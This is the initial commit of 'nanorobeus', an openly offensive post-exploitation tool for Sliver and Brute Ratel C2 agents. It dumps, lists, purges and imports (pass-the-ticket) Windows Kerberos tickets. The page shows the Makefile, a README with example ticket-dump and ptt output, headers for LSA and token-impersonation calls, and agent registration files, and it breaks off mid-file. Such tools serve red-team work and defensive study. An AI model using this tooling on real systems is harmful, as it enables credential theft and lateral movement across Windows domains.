Projects STRLCPY nanorobeus Commits 5405fccb
🤬
  • Initial commit

  • Loading...
  • wavvs committed 2 years ago
    5405fccb
  • ■ ■ ■ ■ ■
    .gitignore
     1 +.vscode
  • ■ ■ ■ ■ ■ ■
    Makefile
     1 +BOFNAME := nanorobeus
     2 +CC_x64 := x86_64-w64-mingw32-gcc
     3 +CC_x86 := i686-w64-mingw32-gcc
     4 +STRIP := strip
     5 +OPTIONS := -O3 -masm=intel -Wall -I include -l advapi32 -l secur32
     6 + 
     7 +nanorobeus:
     8 + $(CC_x64) source/base64.c source/common.c source/klist.c source/luid.c source/ptt.c source/purge.c \
     9 + source/sessions.c source/entry.c -o dist/$(BOFNAME).x64.exe $(OPTIONS)
     10 + $(STRIP) --strip-all dist/$(BOFNAME).x64.exe
     11 +
     12 + $(CC_x86) source/base64.c source/common.c source/klist.c source/luid.c source/ptt.c source/purge.c \
     13 + source/sessions.c source/entry.c -o dist/$(BOFNAME).x86.exe $(OPTIONS)
     14 + $(STRIP) --strip-all dist/$(BOFNAME).x86.exe
     15 + 
     16 + $(CC_x64) -c source/entry.c -o dist/$(BOFNAME).x64.o -DBOF $(OPTIONS)
     17 + $(STRIP) --strip-unneeded dist/$(BOFNAME).x64.o
     18 + 
     19 + $(CC_x86) -c source/entry.c -o dist/$(BOFNAME).x86.o -DBOF $(OPTIONS)
     20 + $(STRIP) --strip-unneeded dist/$(BOFNAME).x86.o
     21 + 
     22 + $(CC_x64) -c source/entry.c -o dist/$(BOFNAME)_brc4.x64.o -DBRC4 $(OPTIONS)
     23 + $(STRIP) --strip-unneeded dist/$(BOFNAME)_brc4.x64.o
     24 + 
     25 + $(CC_x86) -c source/entry.c -o dist/$(BOFNAME)_brc4.x86.o -DBRC4 $(OPTIONS)
     26 + $(STRIP) --strip-unneeded dist/$(BOFNAME)_brc4.x86.o
     27 + 
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# Nanorobeus
     2 +COFF file (BOF) for managing Kerberos tickets.
     3 + 
     4 +## Supported agents
     5 +* [Sliver](https://github.com/BishopFox/sliver)
     6 +* [Brute Ratel](https://bruteratel.com)
     7 + 
     8 +## Commands
     9 + 
     10 +**luid** - get current logon ID
     11 + 
     12 +**sessions** *[/luid <0x0>| /all]* - get logon sessions
     13 + 
     14 +**klist** *[/luid <0x0> | /all]* - list Kerberos tickets
     15 + 
     16 +**dump** *[/luid <0x0> | /all]* - dump Kerberos tickets
     17 + 
     18 +**ptt** *\<base64\> [/luid <0x0>]* - import Kerberos ticket into a logon session
     19 + 
     20 +**purge** [/luid <0x0>] - purge Kerberos tickets
     21 + 
     22 +## Examples
     23 +Get current logon ID.
     24 +```
     25 +=> nanorobeus64 luid
     26 + 
     27 +[+] Current LogonId: 0:0x19ea88e
     28 +```
     29 +Get detailed information about the current logon session.
     30 +```
     31 +=> nanorobeus64 sessions
     32 + 
     33 +UserName : User
     34 +Domain : FORTRESS
     35 +LogonId : 0:0x19ea88e
     36 +Session : 2
     37 +UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
     38 +Authentication package : Kerberos
     39 +LogonType : Interactive
     40 +LogonTime (UTC) : 2/7/2022 19:22:43
     41 +LogonServer : SERVER
     42 +LogonServerDNSDomain : FORTRESS.LOCAL
     43 +UserPrincipalName : [email protected]
     44 +```
     45 +List Kerberos tickets for the current logon session. When elevated, use `/all` to list tickets from all of the sessions or `/luid 0x0` to list tickets in a specified logon session.
     46 +```
     47 +=> nanorobeus64 klist
     48 + 
     49 +UserName : User
     50 +Domain : FORTRESS
     51 +LogonId : 0:0x19ea88e
     52 +Session : 2
     53 +UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
     54 +Authentication package : Kerberos
     55 +LogonType : Interactive
     56 +LogonTime (UTC) : 2/7/2022 19:22:43
     57 +LogonServer : SERVER
     58 +LogonServerDNSDomain : FORTRESS.LOCAL
     59 +UserPrincipalName : [email protected]
     60 + 
     61 +[*] Cached tickets: (6)
     62 + 
     63 + [0]
     64 + Client name : User @ FORTRESS.LOCAL
     65 + Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
     66 + Start time : 2/7/2022 19:22:44 (UTC)
     67 + End time : 3/7/2022 5:22:43 (UTC)
     68 + Renew time : 9/7/2022 19:22:43 (UTC)
     69 + Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
     70 + Encryption type : AES256_CTS_HMAC_SHA1
     71 + ...(snip)...
     72 +```
     73 +Dump tickets from the current logon session. When elevated, use `/all` to dump tickets from all of the sessions or `/luid 0x0` to dump tickets from a specified logon session.
     74 +```
     75 +=> nanorobeus64 dump
     76 + 
     77 +UserName : User
     78 +Domain : FORTRESS
     79 +LogonId : 0:0x19ea88e
     80 +Session : 2
     81 +UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
     82 +Authentication package : Kerberos
     83 +LogonType : Interactive
     84 +LogonTime (UTC) : 2/7/2022 19:22:43
     85 +LogonServer : SERVER
     86 +LogonServerDNSDomain : FORTRESS.LOCAL
     87 +UserPrincipalName : [email protected]
     88 + 
     89 +[*] Cached tickets: (6)
     90 + 
     91 + [0]
     92 + Client name : User @ FORTRESS.LOCAL
     93 + Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
     94 + Start time : 2/7/2022 19:22:44 (UTC)
     95 + End time : 3/7/2022 5:22:43 (UTC)
     96 + Renew time : 9/7/2022 19:22:43 (UTC)
     97 + Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
     98 + Encryption type : AES256_CTS_HMAC_SHA1
     99 + Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
     100 +```
     101 +Import a ticket into the current logon session. When elevated, use `/luid 0x0` to import the ticket into a specified logon session.
     102 +```
     103 +=> make_token network fortress.local test pass
     104 +=> nanorobeus64 ptt doIFqjCCBaagAwIB...snip...
     105 + 
     106 +[+] Ticket successfully imported.
     107 +```
     108 +Purge all Kerberos tickets from the current logon session. When elevated, use `/luid 0x0` to purge the tickets from a specified logon session.
     109 +```
     110 +=> nanorobeus64 purge
     111 + 
     112 +[+] Successfully purged tickets.
     113 +```
     114 + 
     115 +## Credits
     116 +* Rubeus - https://github.com/GhostPack/Rubeus
     117 +* mimikatz - https://github.com/gentilkiwi/mimikatz
  • ■ ■ ■ ■ ■ ■
    dist/.gitignore
     1 +*
     2 +!.gitignore
  • ■ ■ ■ ■ ■ ■
    include/base64.h
     1 +/*
     2 + * Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
     3 + *
     4 + * @APPLE_LICENSE_HEADER_START@
     5 + *
     6 + * Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved.
     7 + *
     8 + * This file contains Original Code and/or Modifications of Original Code
     9 + * as defined in and that are subject to the Apple Public Source License
     10 + * Version 2.0 (the 'License'). You may not use this file except in
     11 + * compliance with the License. Please obtain a copy of the License at
     12 + * http://www.opensource.apple.com/apsl/ and read it before using this
     13 + * file.
     14 + *
     15 + * The Original Code and all software distributed under the License are
     16 + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
     17 + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
     18 + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
     19 + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
     20 + * Please see the License for the specific language governing rights and
     21 + * limitations under the License.
     22 + *
     23 + * @APPLE_LICENSE_HEADER_END@
     24 + */
     25 +/* ====================================================================
     26 + * Copyright (c) 1995-1999 The Apache Group. All rights reserved.
     27 + *
     28 + * Redistribution and use in source and binary forms, with or without
     29 + * modification, are permitted provided that the following conditions
     30 + * are met:
     31 + *
     32 + * 1. Redistributions of source code must retain the above copyright
     33 + * notice, this list of conditions and the following disclaimer.
     34 + *
     35 + * 2. Redistributions in binary form must reproduce the above copyright
     36 + * notice, this list of conditions and the following disclaimer in
     37 + * the documentation and/or other materials provided with the
     38 + * distribution.
     39 + *
     40 + * 3. All advertising materials mentioning features or use of this
     41 + * software must display the following acknowledgment:
     42 + * "This product includes software developed by the Apache Group
     43 + * for use in the Apache HTTP server project (http://www.apache.org/)."
     44 + *
     45 + * 4. The names "Apache Server" and "Apache Group" must not be used to
     46 + * endorse or promote products derived from this software without
     47 + * prior written permission. For written permission, please contact
     48 + * [email protected].
     49 + *
     50 + * 5. Products derived from this software may not be called "Apache"
     51 + * nor may "Apache" appear in their names without prior written
     52 + * permission of the Apache Group.
     53 + *
     54 + * 6. Redistributions of any form whatsoever must retain the following
     55 + * acknowledgment:
     56 + * "This product includes software developed by the Apache Group
     57 + * for use in the Apache HTTP server project (http://www.apache.org/)."
     58 + *
     59 + * THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
     60 + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     61 + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
     62 + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR
     63 + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     64 + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
     65 + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
     66 + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
     67 + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
     68 + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
     69 + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
     70 + * OF THE POSSIBILITY OF SUCH DAMAGE.
     71 + * ====================================================================
     72 + *
     73 + * This software consists of voluntary contributions made by many
     74 + * individuals on behalf of the Apache Group and was originally based
     75 + * on public domain software written at the National Center for
     76 + * Supercomputing Applications, University of Illinois, Urbana-Champaign.
     77 + * For more information on the Apache Group and the Apache HTTP server
     78 + * project, please see <http://www.apache.org/>.
     79 + *
     80 + */
     81 + 
     82 +#pragma once
     83 + 
     84 +int Base64encode_len(int len);
     85 +int Base64encode(char* coded_dst, const char* plain_src, int len_plain_src);
     86 + 
     87 +int Base64decode_len(const char* coded_src);
     88 +int Base64decode(char* plain_dst, const char* coded_src);
     89 + 
  • ■ ■ ■ ■ ■ ■
    include/beacon.h
     1 +#pragma once
     2 +/* data API */
     3 +#include <windows.h>
     4 +#ifdef BOF
     5 +typedef struct {
     6 + char *original; /* the original buffer [so we can free it] */
     7 + char *buffer; /* current pointer into our buffer */
     8 + int length; /* remaining length of data */
     9 + int size; /* total size of this buffer */
     10 +} datap;
     11 + 
     12 +DECLSPEC_IMPORT void BeaconDataParse(datap *parser, char *buffer, int size);
     13 +DECLSPEC_IMPORT int BeaconDataInt(datap *parser);
     14 +DECLSPEC_IMPORT short BeaconDataShort(datap *parser);
     15 +DECLSPEC_IMPORT int BeaconDataLength(datap *parser);
     16 +DECLSPEC_IMPORT char *BeaconDataExtract(datap *parser, int *size);
     17 + 
     18 +/* format API */
     19 +typedef struct {
     20 + char *original; /* the original buffer [so we can free it] */
     21 + char *buffer; /* current pointer into our buffer */
     22 + int length; /* remaining length of data */
     23 + int size; /* total size of this buffer */
     24 +} formatp;
     25 + 
     26 +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp *format, int maxsz);
     27 +DECLSPEC_IMPORT void BeaconFormatReset(formatp *format);
     28 +DECLSPEC_IMPORT void BeaconFormatFree(formatp *format);
     29 +DECLSPEC_IMPORT void BeaconFormatAppend(formatp *format, char *text, int len);
     30 +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp *format, char *fmt, ...);
     31 +DECLSPEC_IMPORT char *BeaconFormatToString(formatp *format, int *size);
     32 +DECLSPEC_IMPORT void BeaconFormatInt(formatp *format, int value);
     33 + 
     34 +/* Output Functions */
     35 +#define CALLBACK_OUTPUT 0x0
     36 +#define CALLBACK_OUTPUT_OEM 0x1e
     37 +#define CALLBACK_ERROR 0x0d
     38 +#define CALLBACK_OUTPUT_UTF8 0x20
     39 + 
     40 +DECLSPEC_IMPORT void BeaconPrintf(int type, char *fmt, ...);
     41 +DECLSPEC_IMPORT void BeaconOutput(int type, char *data, int len);
     42 + 
     43 +/* Token Functions */
     44 +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
     45 +DECLSPEC_IMPORT void BeaconRevertToken();
     46 +DECLSPEC_IMPORT BOOL BeaconIsAdmin();
     47 + 
     48 +/* Spawn+Inject Functions */
     49 +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char *buffer, int length);
     50 +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char *payload, int p_len, int p_offset, char *arg,
     51 + int a_len);
     52 +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION *pInfo, char *payload, int p_len, int p_offset,
     53 + char *arg, int a_len);
     54 +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION *pInfo);
     55 + 
     56 +/* Utility Functions */
     57 +DECLSPEC_IMPORT BOOL toWideChar(char *src, wchar_t *dst, int max);
     58 + 
     59 +#define PRINT(dispatch, ...) \
     60 + { BeaconPrintf(CALLBACK_OUTPUT, __VA_ARGS__); }
     61 +#elif BRC4
     62 +DECLSPEC_IMPORT int BadgerDispatch(WCHAR **dispatch, const char *__format, ...);
     63 +DECLSPEC_IMPORT int BadgerDispatchW(WCHAR **dispatch, const WCHAR *__format, ...);
     64 +DECLSPEC_IMPORT size_t BadgerStrlen(CHAR *buf);
     65 +DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR *buf);
     66 + 
     67 +DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len);
     68 +DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
     69 + 
     70 +DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
     71 +DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
     72 +DECLSPEC_IMPORT int BadgerAtoi(char *string);
     73 + 
     74 +#define PRINT(dispatch, ...) \
     75 + { BadgerDispatch(dispatch, __VA_ARGS__); }
     76 +#else
     77 + 
     78 +#define PRINT(dispatch, ...) \
     79 + { fprintf(stdout, __VA_ARGS__); }
     80 + 
     81 +#endif
     82 + 
  • ■ ■ ■ ■ ■ ■
    include/bofdefs.h
     1 +#pragma once
     2 + 
     3 +#include <windows.h>
     4 +#include <ntsecapi.h>
     5 +#include <sddl.h>
     6 +#include <tlhelp32.h>
     7 +#include <stdio.h>
     8 + 
     9 +#if defined(BOF) || defined(BRC4)
     10 + 
     11 +// kernel32
     12 +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
     13 +WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);
     14 +WINBASEAPI int WINAPI KERNEL32$FileTimeToSystemTime(CONST FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime);
     15 +WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
     16 +WINBASEAPI WINBOOL WINAPI KERNEL32$Process32FirstW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
     17 +WINBASEAPI WINBOOL WINAPI KERNEL32$Process32NextW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
     18 +WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
     19 +WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
     20 +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread();
     21 + 
     22 +// msvcrt
     23 +WINBASEAPI int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2);
     24 +WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t* _Str);
     25 +WINBASEAPI size_t __cdecl MSVCRT$strlen(const char* _Str);
     26 +WINBASEAPI size_t __cdecl MSVCRT$wcstombs(char* mbstr, const wchar_t* wcstr, size_t count);
     27 +WINBASEAPI long __cdecl MSVCRT$strtol(const char* string, char** end_ptr, int base);
     28 +WINBASEAPI int __cdecl MSVCRT$wcscmp(const wchar_t* string1, const wchar_t* string2);
     29 +WINBASEAPI void* __cdecl MSVCRT$malloc(size_t size);
     30 +WINBASEAPI void* __cdecl MSVCRT$calloc(size_t num, size_t size);
     31 +WINBASEAPI void __cdecl MSVCRT$free(void* memblock);
     32 +WINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict__ _Dst, const void* __restrict__ _Src, size_t _MaxCount);
     33 +WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count);
     34 + 
     35 +// advapi32
     36 +WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
     37 +WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass,
     38 + LPVOID TokenInformation, DWORD TokenInformationLength,
     39 + PDWORD ReturnLength);
     40 +WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid, LPWSTR* StringSid);
     41 +WINADVAPI WINBOOL WINAPI ADVAPI32$AllocateAndInitializeSid(PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
     42 + BYTE nSubAuthorityCount, DWORD nSubAuthority0,
     43 + DWORD nSubAuthority1, DWORD nSubAuthority2,
     44 + DWORD nSubAuthority3, DWORD nSubAuthority4,
     45 + DWORD nSubAuthority5, DWORD nSubAuthority6,
     46 + DWORD nSubAuthority7, PSID* pSid);
     47 +WINADVAPI WINBOOL WINAPI ADVAPI32$EqualSid(PSID pSid1, PSID pSid2);
     48 +WINADVAPI PVOID WINAPI ADVAPI32$FreeSid(PSID pSid);
     49 +WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateToken(HANDLE ExistingTokenHandle,
     50 + SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
     51 + PHANDLE DuplicateTokenHandle);
     52 +WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE hToken);
     53 +WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
     54 +WINADVAPI WINBOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges,
     55 + PTOKEN_PRIVILEGES NewState, DWORD BufferLength,
     56 + PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
     57 +WINADVAPI ULONG WINAPI ADVAPI32$LsaNtStatusToWinError(NTSTATUS Status);
     58 +WINADVAPI WINBOOL WINAPI ADVAPI32$RevertToSelf();
     59 +WINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf,
     60 + PHANDLE TokenHandle);
     61 + 
     62 +// secur32
     63 +WINBASEAPI NTSTATUS WINAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId,
     64 + PSECURITY_LOGON_SESSION_DATA* ppLogonSessionData);
     65 +WINBASEAPI NTSTATUS WINAPI SECUR32$LsaFreeReturnBuffer(PVOID Buffer);
     66 +WINBASEAPI NTSTATUS WINAPI SECUR32$LsaEnumerateLogonSessions(PULONG LogonSessionCount, PLUID* LogonSessionList);
     67 +WINBASEAPI NTSTATUS WINAPI SECUR32$LsaRegisterLogonProcess(PLSA_STRING LogonProcessName, PHANDLE LsaHandle,
     68 + PLSA_OPERATIONAL_MODE SecurityMode);
     69 +WINBASEAPI NTSTATUS WINAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE LsaHandle, PLSA_STRING PackageName,
     70 + PULONG AuthenticationPackage);
     71 +WINBASEAPI NTSTATUS WINAPI SECUR32$LsaCallAuthenticationPackage(HANDLE LsaHandle, ULONG AuthenticationPackage,
     72 + PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength,
     73 + PVOID* ProtocolReturnBuffer, PULONG ReturnBufferLength,
     74 + PNTSTATUS ProtocolStatus);
     75 +WINBASEAPI NTSTATUS WINAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle);
     76 +WINBASEAPI NTSTATUS WINAPI SECUR32$LsaConnectUntrusted(PHANDLE LsaHandle);
     77 +#else
     78 + 
     79 +#define KERNEL32$GetCurrentProcess GetCurrentProcess
     80 +#define KERNEL32$GetLastError GetLastError
     81 +#define KERNEL32$FileTimeToSystemTime FileTimeToSystemTime
     82 +#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot
     83 +#define KERNEL32$Process32FirstW Process32FirstW
     84 +#define KERNEL32$Process32NextW Process32NextW
     85 +#define KERNEL32$CloseHandle CloseHandle
     86 +#define KERNEL32$OpenProcess OpenProcess
     87 +#define KERNEL32$GetCurrentThread GetCurrentThread
     88 + 
     89 +#define MSVCRT$strcmp strcmp
     90 +#define MSVCRT$wcslen wcslen
     91 +#define MSVCRT$strlen strlen
     92 +#define MSVCRT$wcstombs wcstombs
     93 +#define MSVCRT$wcscmp wcscmp
     94 +#define MSVCRT$strtol strtol
     95 +#define MSVCRT$malloc malloc
     96 +#define MSVCRT$calloc calloc
     97 +#define MSVCRT$free free
     98 +#define MSVCRT$memcpy memcpy
     99 +#define MSVCRT$memset memset
     100 + 
     101 +#define ADVAPI32$OpenProcessToken OpenProcessToken
     102 +#define ADVAPI32$GetTokenInformation GetTokenInformation
     103 +#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW
     104 +#define ADVAPI32$AllocateAndInitializeSid AllocateAndInitializeSid
     105 +#define ADVAPI32$EqualSid EqualSid
     106 +#define ADVAPI32$FreeSid FreeSid
     107 +#define ADVAPI32$DuplicateToken DuplicateToken
     108 +#define ADVAPI32$ImpersonateLoggedOnUser ImpersonateLoggedOnUser
     109 +#define ADVAPI32$LookupPrivilegeValueA LookupPrivilegeValueA
     110 +#define ADVAPI32$AdjustTokenPrivileges AdjustTokenPrivileges
     111 +#define ADVAPI32$LsaNtStatusToWinError LsaNtStatusToWinError
     112 +#define ADVAPI32$RevertToSelf RevertToSelf
     113 +#define ADVAPI32$OpenThreadToken OpenThreadToken
     114 + 
     115 +#define SECUR32$LsaGetLogonSessionData LsaGetLogonSessionData
     116 +#define SECUR32$LsaFreeReturnBuffer LsaFreeReturnBuffer
     117 +#define SECUR32$LsaEnumerateLogonSessions LsaEnumerateLogonSessions
     118 +#define SECUR32$LsaRegisterLogonProcess LsaRegisterLogonProcess
     119 +#define SECUR32$LsaLookupAuthenticationPackage LsaLookupAuthenticationPackage
     120 +#define SECUR32$LsaCallAuthenticationPackage LsaCallAuthenticationPackage
     121 +#define SECUR32$LsaDeregisterLogonProcess LsaDeregisterLogonProcess
     122 +#define SECUR32$LsaConnectUntrusted LsaConnectUntrusted
     123 +#endif
  • ■ ■ ■ ■ ■ ■
    include/common.h
     1 +#pragma once
     2 + 
     3 +#include <windows.h>
     4 +#include <ntsecapi.h>
     5 +#include <stdlib.h>
     6 +#include <tlhelp32.h>
     7 +#include "beacon.h"
     8 +#include "bofdefs.h"
     9 + 
     10 +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
     11 +#define STATUS_MEMORY_NOT_ALLOCATED ((NTSTATUS)0xC00000A0L)
     12 +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) == 0)
     13 + 
     14 +typedef struct _LOGON_SESSION_DATA {
     15 + PSECURITY_LOGON_SESSION_DATA* sessionData;
     16 + ULONG sessionCount;
     17 +} LOGON_SESSION_DATA, PLOGON_SESSION_DATA;
     18 + 
     19 +enum KERB_ETYPE {
     20 + DES_CBC_CRC = 1,
     21 + DES_CBC_MD4 = 2,
     22 + DES_CBC_MD5 = 3,
     23 + DES3_CBC_MD5 = 5,
     24 + DES3_CBC_SHA1 = 7,
     25 + DSAWITHSHA1_CMSOID = 9,
     26 + MD5WITHRSAENCRYPTION_CMSOID = 10,
     27 + SHA1WITHRSAENCRYPTION_CMSOID = 11,
     28 + RC2CBC_ENVOID = 12,
     29 + RSAENCRYPTION_ENVOID = 13,
     30 + RSAES_OAEP_ENV_OID = 14,
     31 + DES3_CBC_SHA1_KD = 16,
     32 + AES128_CTS_HMAC_SHA1 = 17,
     33 + AES256_CTS_HMAC_SHA1 = 18,
     34 + RC4_HMAC = 23,
     35 + RC4_HMAC_EXP = 24,
     36 + SUBKEY_KEYMATERIAL = 65,
     37 + OLD_EXP = -135
     38 +};
     39 + 
     40 +HANDLE GetCurrentToken(DWORD DesiredAccess);
     41 +char* GetEncryptionTypeString(LONG encType);
     42 +SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li);
     43 +BOOL IsHighIntegrity(HANDLE TokenHandle);
     44 +BOOL IsSystem(HANDLE TokenHandle);
     45 +NTSTATUS GetLsaHandle(HANDLE hProcessToken, BOOL highIntegrity, HANDLE* hLsa);
     46 +int GetProcessIdByName(WCHAR* processName);
     47 +BOOL ElevateToSystem();
     48 +// BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL
     49 +// bEnablePrivilege);
     50 +char* GetNarrowString(WCHAR* src);
     51 +char* GetNarrowStringFromUnicode(UNICODE_STRING src);
  • ■ ■ ■ ■ ■ ■
    include/klist.h
     1 +#pragma once
     2 + 
     3 +#include <windows.h>
     4 +#include <ntsecapi.h>
     5 +#include "base64.h"
     6 +#include "common.h"
     7 +#include "sessions.h"
     8 + 
     9 +void execute_klist(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid, BOOL dump);
     10 +void EnumerateTickets(LUID*, BOOL, HANDLE);
     11 +NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
     12 + PULONG ticketSize);
     13 +void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo);
     14 +void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags);
     15 + 
  • ■ ■ ■ ■ ■ ■
    include/luid.h
     1 +#pragma once
     2 + 
     3 +#include <windows.h>
     4 +#include "common.h"
     5 + 
     6 +void execute_luid(WCHAR** dispatch, HANDLE hToken);
     7 +LUID* GetCurrentLUID(HANDLE TokenHandle);
     8 + 
  • ■ ■ ■ ■ ■ ■
    include/ptt.h
     1 +#pragma once
     2 + 
     3 +#include <windows.h>
     4 +#include "common.h"
     5 +#include "base64.h"
     6 + 
     7 +void execute_ptt(WCHAR** dispatch, HANDLE hToken, char* ticket, LUID luid, BOOL currentLuid);
  • ■ ■ ■ ■ ■ ■
    include/purge.h
     1 +#pragma once
     2 + 
     3 +#include <windows.h>
     4 +#include <ntsecapi.h>
     5 +#include "common.h"
     6 + 
     7 +void execute_purge(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid);
     8 + 
  • ■ ■ ■ ■ ■ ■
    include/sessions.h
     1 +#pragma once
     2 + 
     3 +#include <windows.h>
     4 +#include "bofdefs.h"
     5 +#include "common.h"
     6 +#include "luid.h"
     7 + 
     8 +void execute_sessions(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid);
     9 +NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data);
     10 +char* GetLogonTypeString(ULONG uLogonType);
     11 +void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data);
  • ■ ■ ■ ■ ■ ■
    sample_brc4.json
     1 +{
     2 + "register_obj": {
     3 + "nanorobeus64": {
     4 + "arch": "x64",
     5 + "artifact": "WINAPI",
     6 + "description": "Badger Object File for managing Kerberos tickets",
     7 + "example": "nanorobeus64 help",
     8 + "file_path": "server_confs/bofs/nanorobeus_brc4.x64.o",
     9 + "mainArgs": "NA",
     10 + "minimumArgCount": 1,
     11 + "optionalArg": "NA"
     12 + },
     13 + "nanorobeus86": {
     14 + "arch": "x86",
     15 + "artifact": "WINAPI",
     16 + "description": "Badger Object File for managing Kerberos tickets",
     17 + "example": "nanorobeus86 help",
     18 + "file_path": "server_confs/bofs/nanorobeus_brc4.x86.o",
     19 + "mainArgs": "NA",
     20 + "minimumArgCount": 1,
     21 + "optionalArg": "NA"
     22 + }
     23 + }
     24 +}
  • ■ ■ ■ ■ ■ ■
    sample_sliver.json
     1 +{
     2 + "name": "nanorobeus",
     3 + "version": "0.0.1",
     4 + "command_name": "nanorobeus",
     5 + "extension_author": "wavvs",
     6 + "original_author": "wavvs",
     7 + "repo_url": "https://github.com/wavvs/nanorobeus",
     8 + "help": "Beacon Object File for managing Kerberos tickets",
     9 + "long_help": "",
     10 + "depends_on": "coff-loader",
     11 + "entrypoint": "go",
     12 + "files": [
     13 + {
     14 + "os": "windows",
     15 + "arch": "amd64",
     16 + "path": "nanorobeus.x64.o"
     17 + },
     18 + {
     19 + "os": "windows",
     20 + "arch": "386",
     21 + "path": "nanorobeus.x86.o"
     22 + }
     23 + ],
     24 + "arguments": [
     25 + {
     26 + "name": "command",
     27 + "desc": "Command to execute (luid, sessions, klist, dump, ptt, purge, help)",
     28 + "type": "string",
     29 + "optional": false
     30 + },
     31 + {
     32 + "name": "arg1",
     33 + "desc": "arg1",
